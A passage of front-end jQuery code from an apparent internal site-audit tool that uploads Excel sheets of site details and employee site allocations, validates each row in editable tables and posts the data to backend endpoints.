var PROJECT_AND_STAGE_OF_AUDIT_DD=getStageOfAuditdropDown();// function call in ../js/dynamicDropdown_of_project_&_stageOfAudit.js
var EMPLOYEES_NAME_ID_OBJ;
var DUPLICATE_SITE_PO_DETAILS_ARRAY;
var objData = new Map();

//new bulk site -----------------------

var NEW_BULKSITE_DETAILS_TAB_ERROR_BUCKET=[];


//-------------new Site allocations constants-------------------

//-----existing site allocations- constants-
var EXISTING_SITE_ALLOCATIONS_SITE_ID_ARRAY=[];
var EXISTING_SITE_ALLOCATIONS_SITEID_EMPID_DATE_ARRAY=[];
var EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT;
var EXISTING_SITE_ALLOCATIONS_ALREADY_EXIST_SITE_ALLOCATION_DETAILS;
var EXISTING_SITE_ALLOCATIONS_INVALID_SITEIDS=[];

$("body").tooltip({
    selector:'[data-toggle="tooltip"]'
});

$("#newSiteDetailsFile, #excelfile, #excelfileTab2").click(function(e){ 
  $('#newSiteDetailsFile, #excelfile, #excelfileTab2').val(''); 
});
$(".updatingSiteAllocationTabs p.tab").click(function(){
    $(".updatingSiteAllocationTabs p.tab").removeClass("active");
    $("section.content.tabContent").addClass("d-none");
    let tabContentClassName=$(this).attr("data-tab-reference");
    $("section.content.tabContent."+tabContentClassName).removeClass("d-none");
    $(this).addClass("active");
});
// --------------------------------------------------Add bulk site Functionality----------------------
$("#newSiteDetailsViewFile").on('click', function(){
    $("#newBulkSiteDetails_resultMessage").empty();
    $("#newBulkSiteDetailsExceltable").empty();
    let fileInputId="newSiteDetailsFile";
    let maxRecords=200;
    let headingListArray=["sno","siteId","siteName","latitude","longitude","customerName","circle"];
    let promiseObj=getJsonFromUploadExcel(fileInputId, headingListArray, maxRecords);
    promiseObj.then((excelJson)=>{
        console.log(excelJson);
         $("button#newBulkSiteDetails_submit").removeAttr("disabled");
        newBulkSiteDetails_sortExcelJsonAndCreateTableUi(excelJson);
    }).catch((error)=>{
        
    })
});
function newBulkSiteDetails_sortExcelJsonAndCreateTableUi(excelJson){
    let sortJsonBy_siteId=()=>{
        excelJson.sort(function(a,b){
            if(a.siteId){
                return a.siteId.localeCompare(b.siteId);
            }
        });
    }
    sortJsonBy_siteId();
    let clsObj=new newBulkSiteDetails_tableConstruction();
    let tableContent=clsObj.getDynamicTableContent(excelJson);
    objData.set("newBulkSiteDetailsExcelJson",excelJson);
    $("#newBulkSiteDetailsExceltable").html(tableContent);
}
$("#newBulkSiteDetailsExceltable").on('change','.customerNameDropDown', function(){
    let currentCustomerDD=$(this);
    let rowIndex= currentCustomerDD.attr("data-rowIndex");
    currentCustomerDD.siblings("span").remove();//removeErrorTag
    let excelJson=objData.get("newBulkSiteDetailsExcelJson");
    excelJson[rowIndex].customerName=currentCustomerDD.val(); //updateJson
    $("#newBulkSiteDetails_tableRowIndex_"+rowIndex).css("background","initial");//changeTr_BgColor
    NEW_BULKSITE_DETAILS_TAB_ERROR_BUCKET[rowIndex].set("customer", "noErrorFound");//removeError_fromErrorBucket
    console.log("NEW_BULKSITE_DETAILS_TAB_ERROR_BUCKET",NEW_BULKSITE_DETAILS_TAB_ERROR_BUCKET);
    console.log("excelJson",excelJson);

});
$("#newBulkSiteDetailsExceltable").on('change','.circleDropDown', function(){
    let currentCircleDD=$(this);
    let rowIndex=currentCircleDD.attr("data-rowIndex");
    currentCircleDD.siblings("span").remove();//removeErrorTag
    let excelJson=objData.get("newBulkSiteDetailsExcelJson");
    excelJson[rowIndex].circle =currentCircleDD.val();//updateJson
    NEW_BULKSITE_DETAILS_TAB_ERROR_BUCKET[rowIndex].set("circle","noErrorFound");//removeError_fromErrorBucket
    $("#newBulkSiteDetails_tableRowIndex_"+rowIndex).css("background","initial");//changeTr_BgColor
        console.log("NEW_BULKSITE_DETAILS_TAB_ERROR_BUCKET",NEW_BULKSITE_DETAILS_TAB_ERROR_BUCKET);
    console.log("excelJson",excelJson);
});

$("#newBulkSiteDetails_submit").on('click', function(){
    let spinnerIcon=$("#newBulkSiteDetails_submit i");
    let checkError =newBulkSiteDetails_errorValidations();
    if(checkError != 'zeroErrors'){
        $("#newBulkSiteDetails_resultMessage").html(`<span class="text-danger"><b>Fill all required fields and submit</b></span>`);
        let errorNavigator =$("#newBulkSiteDetails_triggerAnchr");
        errorNavigator.attr("href","#newBulkSiteDetails_serialNumber"+ checkError);
        errorNavigator[0].click();
        $("#newBulkSiteDetails_tableRowIndex_"+checkError).css("background","#ff000024");
    }else{ //if no errorfound
        spinnerIcon.removeClass("d-none");
        $("#newBulkSiteDetails_resultMessage").empty();
        let excelJson=objData.get("newBulkSiteDetailsExcelJson");
        let excelRowDataArray=[];
        excelJson.forEach(function(currentLoopObj){
            excelRowDataArray.push(JSON.stringify(currentLoopObj));
        })
        let postContent={
            valueArray:excelRowDataArray,  
            empid:loggedUserId,             // in index.php file
            empName:loggedUserName 
        }
        console.log("postContent",postContent);
        let responseData=postDataHttpRequest(ADD_SITE_BASE_URL + "addSiteBulk", postContent);
        responseData.then((result)=>{
            console.log(result);
            spinnerIcon.addClass("d-none");
            if(result.error){
                $("#newBulkSiteDetails_resultMessage").html(`<span class="text-danger">${result.message}</span>`);
            }else{
                $("#newBulkSiteDetails_resultMessage").html(`<span class="text-success">${result.message}</span>`);
            }
        })
        .catch((error)=>{
            spinnerIcon.addClass("d-none");
            $("#newBulkSiteDetails_resultMessage").html(`<span class="text-danger">${error}</span>`);
        })
    }
});
function newBulkSiteDetails_errorValidations(){
    let returnValue="zeroErrors";
    let errorTypeKeys=["siteId","siteName","LatLong","cutomer","circle"];
    for(let index=0;index<NEW_BULKSITE_DETAILS_TAB_ERROR_BUCKET.length; index++){
        for(let innerLoop=0; innerLoop<errorTypeKeys.length; innerLoop++){
            let currentErrorType=errorTypeKeys[innerLoop];
            if((NEW_BULKSITE_DETAILS_TAB_ERROR_BUCKET[index]).get(currentErrorType)=="Error"){       // map.get(key)
                return (NEW_BULKSITE_DETAILS_TAB_ERROR_BUCKET[index]).get("rowIndex");
            }
        }
    }
    return returnValue
}
// --------------------------------------------------END--Add bulk site Functionality------------------



// --------------------------------------------                                        -------------------
// --------------------------------------------ExistingSiteAllocation Tab Functionality-------------------
// --------------------------------------------                                         ------------------

$("#existingSiteAllocationTab_submit,#existingSiteAllocationTab_validateExcelData").hide();
$("#viewFileTab2").on('click', function(){
    var existingSiteAllocationTab_ErrorBucket=[];
    $("#existingSiteAllocationTab_resultMessage").empty();
    $(".existingSiteAllocationSection table").empty();
    
    let fileInputId="excelfileTab2";
    let maxRecords=200;
    let headingListArray=['sno','siteId','poNumber','siteAssignedToEmpId','siteAssignedToEmpName', 'siteVisitDate(yyyy-mm-dd)', 'project', 'stageOfAudit'];
    let promiseObj=getJsonFromUploadExcel(fileInputId, headingListArray, maxRecords);
    promiseObj.then((exceljson)=>{
        console.log(exceljson);
        existingSiteAllocations_sortExcelJsonAndCreateUiTable(exceljson);
        $("#existingSiteAllocationTab_validateExcelData").show();
        $("#existingSiteAllocationTab_submit").hide();
        $("#existingSiteAllocationTab_ErrorConsole").addClass("d-none");
    })
    .catch((error)=>{
        
    });
});
function existingSiteAllocations_sortExcelJsonAndCreateUiTable(excelJson){
    EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT={}// making every time empty
    let resetDuplicateValue=(a,b)=>{
        a.duplicate=false;
        b.duplicate=false;
    }
    let sortJsonBy_siteId_empId_siteVisitDate=()=>{
        excelJson.sort(function(b, a){
            if(a["siteId"] && a["siteAssignedToEmpId"] && a["siteVisitDate(yyyy-mm-dd)"]){
                let comparedSiteId = a["siteId"].localeCompare(b["siteId"]);
                let comparedEmpId =a["siteAssignedToEmpId"].localeCompare(b["siteAssignedToEmpId"]);
                let comparedSiteVisitDate=a["siteVisitDate(yyyy-mm-dd)"].localeCompare(b["siteVisitDate(yyyy-mm-dd)"]);
                resetDuplicateValue(a,b);
                if(comparedSiteId!=0){
                    return comparedSiteId;
                }else if(comparedEmpId!=0){
                    return comparedEmpId; 
                }else{
                    return  comparedSiteVisitDate;
                }
            }
        })
    }
    
    sortJsonBy_siteId_empId_siteVisitDate();
    // console.log(excelJson); 
    let clsObj=new ExistingSiteAllocations_DynamicTable();          //existingSiteAllocations_tableConstruction.js
    let tableUI=clsObj.getTableUi(excelJson); 
    objData.set("existingSiteAllocationExcelJson", excelJson);
    $(".existingSiteAllocationSection table.table").html(tableUI);
}

// ------------onchanage functionality---------------
$(".existingSiteAllocationSection table").on('change','input.poDropDownInputList',function(){
    let currentEditing_POInput=$(this);
    let poValue=currentEditing_POInput.val();
    let refIndex=currentEditing_POInput.attr("data-rowindex");

    let updateExcelJson=()=>{
        let excelJson=objData.get("existingSiteAllocationExcelJson");
        excelJson[refIndex]["poNumber"]=poValue;
    }
    
    if(poValue!="Not Available" && poValue!=''){
        currentEditing_POInput.removeClass("bg-warning");
    }else{
        currentEditing_POInput.addClass("bg-warning");
        poValue="Not Available";// if Po empty
        currentEditing_POInput.val(poValue);
    }
    updateExcelJson();
    console.log("excel",objData.get("existingSiteAllocationExcelJson"));
});

$(".existingSiteAllocationSection table").on('change', 'select.empNameIdDropDown',function(){
    let currentEditing_EmpIdSelectTag=$(this);
    let empId=currentEditing_EmpIdSelectTag.val();
    let refIndex=currentEditing_EmpIdSelectTag.attr("data-rowindex");
    let errorBucketRefKey=currentEditing_EmpIdSelectTag.attr("data-errorKey");
    let currentEditing_RowErrorBucketArray=EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT[errorBucketRefKey];
    
    let updateErrorBucket=()=>{
        removeErrorFrom_ErrorBucket(currentEditing_RowErrorBucketArray,"EmpId Invalid");
        removeErrorFrom_ErrorBucket(currentEditing_RowErrorBucketArray,"EmpId Required");
        if(currentEditing_RowErrorBucketArray.length <= 0){// if not errors in bucket then delete
            delete EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT[errorBucketRefKey];
        }
    }
    let updateExcelJson=()=>{
        let excelJson=objData.get("existingSiteAllocationExcelJson");
        excelJson[refIndex]["siteAssignedToEmpId"]=empId;
        excelJson[refIndex]["siteAssignedToEmpName"]=getEmpNameById(empId);
    }
    let updateUi=()=>{
        currentEditing_EmpIdSelectTag.siblings("span.errorMsgTag").remove();
    }
    updateExcelJson();
    (currentEditing_RowErrorBucketArray) ? updateErrorBucket() : '';
    updateUi();
    console.log("EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT",EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT);
    console.log("excel",objData.get("existingSiteAllocationExcelJson"));
    
});
$(".existingSiteAllocationSection table").on('change', 'input.siteVisitDate', function(){
    let currentEditing_siteVisitDateInputTag=$(this);
    let siteVisitDate=currentEditing_siteVisitDateInputTag.val();
    let refIndex=currentEditing_siteVisitDateInputTag.attr("data-rowIndex");
    let errorBucketRefKey=currentEditing_siteVisitDateInputTag.attr("data-errorkey");
    let currentEditing_RowErrorBucketArray=EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT[errorBucketRefKey];
    let clsObj=new ExistingSiteAllocations_DynamicTable();      //in file existingSiteAllocations_tableConstruction.js
    
    let clearErrorsInBucket=()=>{
        removeErrorFrom_ErrorBucket(currentEditing_RowErrorBucketArray,"SiteVisitDate Invalid");
        removeErrorFrom_ErrorBucket(currentEditing_RowErrorBucketArray,"SiteVisitDate Required");
        if(currentEditing_RowErrorBucketArray.length <= 0){ // if not errors in bucket then delete
            delete EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT[errorBucketRefKey];
        }
    }
    let addRequiredErrorInErrorBucket=()=>{
        clsObj.updateErrorBucket(errorBucketRefKey, "SiteVisitDate Required");
    }
    let addInvalidErrorInErrorBucket=()=>{
        clsObj.updateErrorBucket(errorBucketRefKey, "SiteVisitDate Invalid"); 
    }
    let updateExcelJson=()=>{
        let excelJson=objData.get("existingSiteAllocationExcelJson");
        excelJson[refIndex]["siteVisitDate(yyyy-mm-dd)"]=siteVisitDate;
    }
    let removeErrorTag=()=>{
        currentEditing_siteVisitDateInputTag.siblings("span.errorMsgTag").remove();
    }
    let addErrorTag=(message)=>{
        let isErrorAlreadyExist=currentEditing_siteVisitDateInputTag.next("span.errorMsgTag").length;
        if(!isErrorAlreadyExist){
            $(`<span class="d-block text-danger font-weight-bold text-center errorMsgTag">${message}</span>`).insertAfter(currentEditing_siteVisitDateInputTag);
        }
    }
    // -----------------
    if(siteVisitDate!=''){// is not empty
        if(validateDateYearValue(siteVisitDate)){ // if valid date then clear all errors
            (currentEditing_RowErrorBucketArray) ? clearErrorsInBucket() : '';
            removeErrorTag();
        }else{
            addInvalidErrorInErrorBucket();
            addErrorTag("Invalid Year");
        }
    }else{// if empty
        addRequiredErrorInErrorBucket();
        addErrorTag("Required");
    }
    updateExcelJson();
    console.log("EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT",EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT);
    console.log("excel",objData.get("existingSiteAllocationExcelJson"));
});


$(".existingSiteAllocationSection table").on('change', 'select.projectDropDown', function(){
    let currentEditing_projectSelectTag=$(this);
    let projectValue=currentEditing_projectSelectTag.val();
    let refIndex=currentEditing_projectSelectTag.attr('data-rowIndex');
    let errorBucketRefKey=currentEditing_projectSelectTag.attr("data-errorkey");
    let currentEditing_RowErrorBucketArray=EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT[errorBucketRefKey];
    let updateStageOfAuditDropdownList=()=>{
         let optionTags=`<option value="" selected disabled>Select Stage Of Audit</option>`;
            let stageOfAuditListArray=PROJECT_AND_STAGE_OF_AUDIT_DD[projectValue];
            stageOfAuditListArray.forEach(function(value){
                optionTags+=`<option value="${value}">${value}</option>`;
            });
            console.log("optionTags",optionTags);
        let uniqueTr=`.existingSiteAllocationSection table tr.tableRow_${refIndex} td.stageOfAuditTd`;
            $(uniqueTr+" select.stageOfAuditDropdown").empty();
            $(uniqueTr+" select.stageOfAuditDropdown").append(optionTags);
            if($(uniqueTr+" span.errorMsgTag").length){// if exist
                $(uniqueTr+" span.errorMsgTag").html("Please Select Stage Of Audit");
            }else{
                $(uniqueTr).append(`<span class="errorMsgTag text-danger font-weight-bold text-center d-block ">Please Select Stage Of Audit</span>`);
            }
    }
    let removeProjectErrorsFrom_ErrorBucket=()=>{
        removeErrorFrom_ErrorBucket(currentEditing_RowErrorBucketArray,"Project Invalid");
        removeErrorFrom_ErrorBucket(currentEditing_RowErrorBucketArray,"Project Required");
        if(currentEditing_RowErrorBucketArray.length <= 0){ // if not errors in bucket then delete
            delete EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT[errorBucketRefKey];
        }
    }
    let addStageOfAuditErrorIn_ErrorBucket=()=>{
        let clsObj=new ExistingSiteAllocations_DynamicTable();      //in file existingSiteAllocations_tableConstruction.js
            clsObj.updateErrorBucket(errorBucketRefKey,"StageOfAudit Required");
    }
    let updateExcelJson=()=>{
        let excelJson=objData.get("existingSiteAllocationExcelJson");
        excelJson[refIndex]["project"]=projectValue;
    }
    let updateUi=()=>{
        currentEditing_projectSelectTag.siblings("span.errorMsgTag").remove();
        updateStageOfAuditDropdownList();
    }
    
    updateUi();
    addStageOfAuditErrorIn_ErrorBucket();                                     //on selectin project, stageOfAudit will become empty so it should required.
    (currentEditing_RowErrorBucketArray) ? removeProjectErrorsFrom_ErrorBucket() : ''; // remove error only if errorbucket exist
    updateExcelJson();  
    console.log("EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT",EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT);
    console.log("excel",objData.get("existingSiteAllocationExcelJson"));
});

$(".existingSiteAllocationSection table").on('change', 'select.stageOfAuditDropdown', function(){
    let currentEditing_stageOfAuditSelectTag=$(this);
    let stageOfAuditValue=currentEditing_stageOfAuditSelectTag.val();
    let refIndex=currentEditing_stageOfAuditSelectTag.attr('data-rowIndex');
    let errorBucketRefKey=currentEditing_stageOfAuditSelectTag.attr("data-errorkey");
    let currentEditing_RowErrorBucketArray=EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT[errorBucketRefKey];
    let updateExcelJson=()=>{
        let excelJson=objData.get("existingSiteAllocationExcelJson");
            excelJson[refIndex]["stageOfAudit"]=stageOfAuditValue;
    }
    let updateErrorBucket=()=>{
        removeErrorFrom_ErrorBucket(currentEditing_RowErrorBucketArray,"StageOfAudit Invalid");
        removeErrorFrom_ErrorBucket(currentEditing_RowErrorBucketArray,"StageOfAudit Required");
        if(currentEditing_RowErrorBucketArray.length <=0){
            delete EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT[errorBucketRefKey]
        }
    }
    let updateUi=()=>{
        currentEditing_stageOfAuditSelectTag.siblings('span.errorMsgTag').remove();
    }
    updateExcelJson();
    (currentEditing_RowErrorBucketArray) ? updateErrorBucket() :'';
    updateUi();
    console.log("EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT",EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT);
    console.log("excel",objData.get("existingSiteAllocationExcelJson"));
});

$(".existingSiteAllocationSection table").on('click', '.deleteCompleteRow', function(){
    let tooltipId=$(this).attr("aria-describedby");
    $(`.tooltip#${tooltipId}`).remove();
    let refIndex=$(this).attr("data-rowindex");
    let excelJson=objData.get("existingSiteAllocationExcelJson");
    let noOfElementsToDeleteFromArry=1;
    excelJson.splice(refIndex, noOfElementsToDeleteFromArry);
    existingSiteAllocations_sortExcelJsonAndCreateUiTable(excelJson);
    console.log(excelJson);
});
$(".existingSiteAllocationSection table").on('click', '.duplicateSiteDetailsRow', function(){
    let tooltipId=$(this).attr("aria-describedby");
    $(`.tooltip#${tooltipId}`).remove();
    let refIndex=$(this).attr("data-rowindex");
    let excelJson=objData.get("existingSiteAllocationExcelJson");
    let newObjIndexValue=excelJson.length;
    exisitingSiteAllocationTableOnDuplicateRow(excelJson, refIndex, newObjIndexValue);
    console.log(excelJson);
});
function exisitingSiteAllocationTableOnDuplicateRow(excelJson, refIndex, newObjIndexValue){
    let jsonData=excelJson[refIndex];
    let updateJson=()=>{
        let obj={
            sno:newObjIndexValue,
            siteId:jsonData.siteId,
            poNumber:jsonData.poNumber,
            siteAssignedToEmpId:undefined,
            siteAssignedToEmpName:undefined,
            'siteVisitDate(yyyy-mm-dd)':undefined,
            project:undefined,
            stageOfAudit:undefined
            
        }
        excelJson.push(obj);
    }
    updateJson();
    existingSiteAllocations_sortExcelJsonAndCreateUiTable(excelJson);
}
//-----------------------------
$("#existingSiteAllocationTab_validateExcelData").on('click',function(){
    if(checkErrorBucket_existingSiteAllocations()){// if  error exist
        $("#existingSiteAllocationTab_resultMessage").html(`<span class="text-danger font-weight-bold ">Fill All Required Fields</span>`);
    }else{ // size 0 no error
        let validateBtnIcon=$("#existingSiteAllocationTab_validateExcelData i");
        validateBtnIcon.removeClass("d-none");
        let excelJson=objData.get("existingSiteAllocationExcelJson");
        existingSiteAllocations_sortExcelJsonAndCreateUiTable(excelJson)
        let distinctSiteIdsArray=[...new Set(EXISTING_SITE_ALLOCATIONS_SITE_ID_ARRAY)];
        let obj={
            siteIds:distinctSiteIdsArray,
            siteId_empId_dates:EXISTING_SITE_ALLOCATIONS_SITEID_EMPID_DATE_ARRAY
        };
        let postContent=JSON.stringify(obj);
        let responseResult=postDataHttpRequest(ADD_SITE_BASE_URL +"getAlreadyExistingSiteIds_DuplicateSiteAllocations",postContent);
            responseResult.then((result)=>{
                console.log(result);
                removeAlreadyExistSiteAllocationsInExcelJson(result.alreadyExistSiteAllocations);
                removeInvalidSiteIds_or_notExistSiteIds_siteAllocations(result.siteIdArray);
                
                let totalRecords=excelJson.length;
                let afterFilterExcelLength=objData.get("existingSiteAllocationExcelJson").length;
                $("#existingSiteAllocationTab_ErrorConsole").removeClass("d-none");
                $("#existingSiteAllocationTab_totalRecordsValue").text(totalRecords);
                $("#existingSiteAllocationTab_noOfDuplicateRecords").text(EXISTING_SITE_ALLOCATIONS_ALREADY_EXIST_SITE_ALLOCATION_DETAILS.length);
                $("#existingSiteAllocationTab_noOfInvalidRecords").text(EXISTING_SITE_ALLOCATIONS_INVALID_SITEIDS.length);
                $("#existingSiteAllocationTab_noOfSubmitRecords").text(afterFilterExcelLength);
                validateBtnIcon.addClass("d-none");
                $(".existingSiteAllocationSection table select, .existingSiteAllocationSection table input").attr("disabled",true);
                $(".existingSiteAllocationSection .operationsTd, .existingSiteAllocationSection .operationTr").remove();
                $("#existingSiteAllocationTab_validateExcelData").hide();
                $("#existingSiteAllocationTab_submit").html(`Submit <i class="fa fa-spinner fa-spin ml-2 d-none"></i>`).show();
                $("#existingSiteAllocationTab_resultMessage").empty();
            })
            .catch((error)=>{
                $("#existingSiteAllocationTab_resultMessage").html(`<span class="text-danger font-weight-bold">Internal Error 500!</span>`);
                console.log(error);
            })
    }
});

function removeAlreadyExistSiteAllocationsInExcelJson(results){
    let excelJson=objData.get("existingSiteAllocationExcelJson");
    if(!results.error){
        EXISTING_SITE_ALLOCATIONS_ALREADY_EXIST_SITE_ALLOCATION_DETAILS = results.response;
        let filteredExcelJson=excelJson.filter(
            obj1=> (results.response).every(
                        obj2=> !(obj1.siteId == obj2.SITE_ID && obj1.siteAssignedToEmpId == obj2.SITE_ASSIGNED_TO_EMPID && obj1["siteVisitDate(yyyy-mm-dd)"] == obj2.SITE_ASSIGNED_DATE)
                        )
        );
        objData.set("existingSiteAllocationExcelJson",filteredExcelJson);//update in excel global map
    }else{// if error true
        $("#existingSiteAllocationTab_resultMessage").html(`<span class="font-weight-bold text-danger">Internal Error 500!, in Already exist site allocations  Query</span>`);
    }
}
function removeInvalidSiteIds_or_notExistSiteIds_siteAllocations(results){
    EXISTING_SITE_ALLOCATIONS_INVALID_SITEIDS=[]; //making empty on every time
    let excelJson=objData.get("existingSiteAllocationExcelJson");
    if(!results.error){
        let filteredExcelJson= excelJson.filter(function(obj1){
            let obj1_SiteValueNotMatchesInObj2_AllSiteValues=(results.responseArray).every(function(obj2){
     	        return (obj1.siteId!=obj2.SITE_ID);// from obj1 -> obj2 in obj2 any of one value false it return false, it won't search for other values in obj2,
            })
            if(obj1_SiteValueNotMatchesInObj2_AllSiteValues){
                EXISTING_SITE_ALLOCATIONS_INVALID_SITEIDS.push(obj1);// siteNot exist in server
                return false;// if  return false,then it splice current value from filter exceljson
            }else{
                return true;  
            }
        });
        objData.set("existingSiteAllocationExcelJson",filteredExcelJson);//update in excel global map
    }else{
        $("#existingSiteAllocationTab_resultMessage").html(`<span class="font-weight-bold text-danger">Internal Error 500!, in Invalid siteId  Query</span>`);
    }
}

    $("#existingSiteAllocationTab_highlightBtn").click(function(){
        let referenceId;
        EXISTING_SITE_ALLOCATIONS_ALREADY_EXIST_SITE_ALLOCATION_DETAILS.forEach(function(value){
            let trUniqueClass=value.SITE_ID+"_"+value.SITE_ASSIGNED_TO_EMPID+"_"+value.SITE_ASSIGNED_DATE;
            $(`.existingSiteAllocationSection .tr_${trUniqueClass}`).addClass("bg-light-success");
            // referenceId=$(`.existingSiteAllocationSection .tr_${trUniqueClass}`).attr('id');
        })
        // //navigate to last highlighted rows
        //     $("#existingSiteAllocationTab_triggerAnchr").attr("href", "#" + referenceId);
        //     $("#existingSiteAllocationTab_triggerAnchr")[0].click();
        
        // $("html, body").animate({
        //     scrollTop:
        //         ($("."+errorClassName).offset().top + -100)
        // },1000)
    });
    
     $("#existingSiteAllocationTab_InvalidRecordsHighlightBtn").click(function(){
        let referenceId;
        EXISTING_SITE_ALLOCATIONS_INVALID_SITEIDS.forEach(function(value){
            let trUniqueClass=value.siteId;
            $(`.trSiteId_${trUniqueClass}`).addClass("bg-light-danger");
            // referenceId=$(`.${trUniqueClass}`).attr('id');
        })
        //navigate to last highlighted rows
            // $("#existingSiteAllocationTab_triggerAnchr").attr("href", "#" + referenceId);
            // $("#existingSiteAllocationTab_triggerAnchr")[0].click();
    });





$("#existingSiteAllocationTab_submit").click(function(){
    let submitBtnIcon=$("#existingSiteAllocationTab_submit i");
    let excelJson= objData.get("existingSiteAllocationExcelJson");
    if(excelJson.length > 0){
        submitBtnIcon.removeClass("d-none");
        let postContent={
            siteAllocationDetails:stringifyObjtsInArray(excelJson)
        };
        let responseData=postDataHttpRequest(ADD_SITE_BASE_URL + "addSiteAllocationForAlreadyExistingSite",postContent);
        responseData.then((result)=>{
            if(!result.error){
                submitBtnIcon.addClass("d-none");
                $("#existingSiteAllocationTab_submit").hide();
                $("#existingSiteAllocationTab_resultMessage").html(`<span class="font-weight-bold text-success"> Succesfully ${result.effectedRows} Records Submitted!.</span>`);
            }else{
                 $("#existingSiteAllocationTab_submit").text("Retry");
                $("#existingSiteAllocationTab_resultMessage").html(`<span class="font-weight-bold text-danger"> Internal Error 500!</span>`);
            }
            console.log(result);
        })
        .catch((error)=>{
            console.log(error);
            $("#existingSiteAllocationTab_submit").text("Retry");
            $("#existingSiteAllocationTab_resultMessage").html(`<span class="font-weight-bold text-danger"> Internal Error 500!</span>`);
        });
    }else{
        $("#existingSiteAllocationTab_resultMessage").html(`<span class="font-weight-bold text-success">There is no new records to submit</span>`);
    }
    
});
function stringifyObjtsInArray(excelArray){
    let tempArray=[];
    excelArray.forEach((Obj)=>{
        //siteVisitDate
        Obj["siteVisitDate"]=Obj["siteVisitDate(yyyy-mm-dd)"];//update old key to new key
        delete Obj["siteVisitDate(yyyy-mm-dd)"];
        tempArray.push(JSON.stringify(Obj));
    });
    return tempArray;
}

function checkErrorBucket_existingSiteAllocations(){
    let errorsExist=Object.keys(EXISTING_SITE_ALLOCATIONS_ERROR_BUCKET_OBJECT).length;
    return errorsExist
}
function removeErrorFrom_ErrorBucket(arry, key){
    console.log("arry",arry,"key",key);
    let index=arry.indexOf(key);
    (index >= 0) ? arry.splice(index, 1) : ''; // index value -1 if not exit, so avoid unwanted splice
    console.log("after splice array", arry);
}
















// --------------------------|    exisiting site allocation|----------------------------------------------
// --------------------------|==========  END  ============|-----------------------------------------------
// --------------------------|                             |----------------------------------------------

    $("button#submit, button#validateExcelData").hide();   
    
    $("#viewfile").on('click', function(){
        var errorBucket=[];
        $("#resultMessage").empty();
        $("#exceltable").empty();
        
        let fileInputId="excelfile";
        let maxRecords=200;
        let headingListArray=['sno','siteId','siteName','latitude','longitude','customerName','circle','district','poNumber','siteAssignedToEmpId','siteAssignedToEmpName','siteVisitDate(yyyy-mm-dd)','project','stageOfAudit'];
        let promiseObj=getJsonFromUploadExcel(fileInputId, headingListArray, maxRecords);
        promiseObj.then((exceljson)=>{
            console.log(exceljson);
             sortExcelJsonAndCreateUiTable(exceljson);
            $("button#submit, button#validateExcelData").hide();
            $("button#validateExcelData").show();
            $("#errorConsole").addClass('d-none');
            $("#downloadTemplateLink").hide();
        })
        .catch((error)=>{
            
        });
    });
    $("#exceltable").on('change','.customerNameDropDown',function (){
        let exceljson=objData.get("dataFromExcel");
        var rowvalue = Number($(this).attr("data-rowIndex"));
        $(this).siblings("span").remove();
        exceljson[rowvalue].customerName = $(this).val();
        errorBucket[rowvalue].set("customer", "noErrorFound");
            //removing error from errorBucket
            // $("#tableRowIndex_" + rowvalue).css("background", "initial");
    });
    $("#exceltable").on('change','.circleDropDown',function () {
        let exceljson=objData.get("dataFromExcel");
        var rowvalue = Number($(this).attr("data-rowIndex"));
        $(this).siblings("span").remove();
        exceljson[rowvalue].circle = $(this).val();
        errorBucket[rowvalue].set("circle", "noErrorFound");
    });
    $("#exceltable").on('change','.empIdDropDown',function(){
        let exceljson=objData.get("dataFromExcel");
        var rowvalue = Number($(this).attr("data-rowIndex"));
        let empName=getEmpNameById($(this).val());
        $(this).siblings("span").remove();
        $(this).removeClass('bg-warning');
        exceljson[rowvalue].siteAssignedToEmpId = $(this).val();
        exceljson[rowvalue].siteAssignedToEmpName = empName;
        errorBucket[rowvalue].set("empId", "noErrorFound");
        checkRule("empId", rowvalue);
    });
    $("#exceltable").on('change','.projectDropDown', function(){
        let exceljson=objData.get("dataFromExcel");
        var rowvalue=Number($(this).attr("data-rowIndex"));
        let projectName=$(this).val();
        $(this).siblings("span").remove();
        $(this).removeClass('bg-warning');
        exceljson[rowvalue].project=projectName;
        errorBucket[rowvalue].set("project","noErrorFound");
        setStageOfAuditDropDown(projectName, rowvalue);
        checkRule("project",rowvalue);
    });
    $("#exceltable").on('change','.stageOfAuditDropDown',function(){
        let exceljson=objData.get("dataFromExcel");
        var rowvalue=Number($(this).attr("data-rowIndex"));
        $(this).siblings("span").remove();
        $(this).removeClass('bg-warning');
        exceljson[rowvalue].stageOfAudit=$(this).val();
        errorBucket[rowvalue].set("stageOfAudit","noErrorFound");
    });
    $("#exceltable").on('change','input.siteVisitDate',function(){
        let exceljson=objData.get("dataFromExcel");
        var rowvalue=Number($(this).attr("data-rowIndex"));
        $(this).siblings("span").remove();
        $(this).removeClass('bg-warning');
        exceljson[rowvalue]['siteVisitDate(yyyy-mm-dd)']=$(this).val();
        errorBucket[rowvalue].set("siteVisitDate","noErrorFound");
        checkRule("siteVisitDate",rowvalue);
    });
    $("#exceltable").on('change','input.poDropDownInputList', function(){
        $(this).removeClass('bg-warning');
        let exceljson=objData.get("dataFromExcel");
        let rowvalue=Number($(this).attr('data-rowIndex'));
        exceljson[rowvalue].poNumber=$(this).val();
    });
    $("#exceltable").on('click','.deleteCompleteRow', function(){
        let tooltipId=$(this).attr('aria-describedby');
        $(`.tooltip#${tooltipId}`).remove();
        let exceljson=objData.get("dataFromExcel");
        let rowvalue=Number($(this).attr('data-rowIndex'));
        let noOfElementsToDeleteFromArry=1;
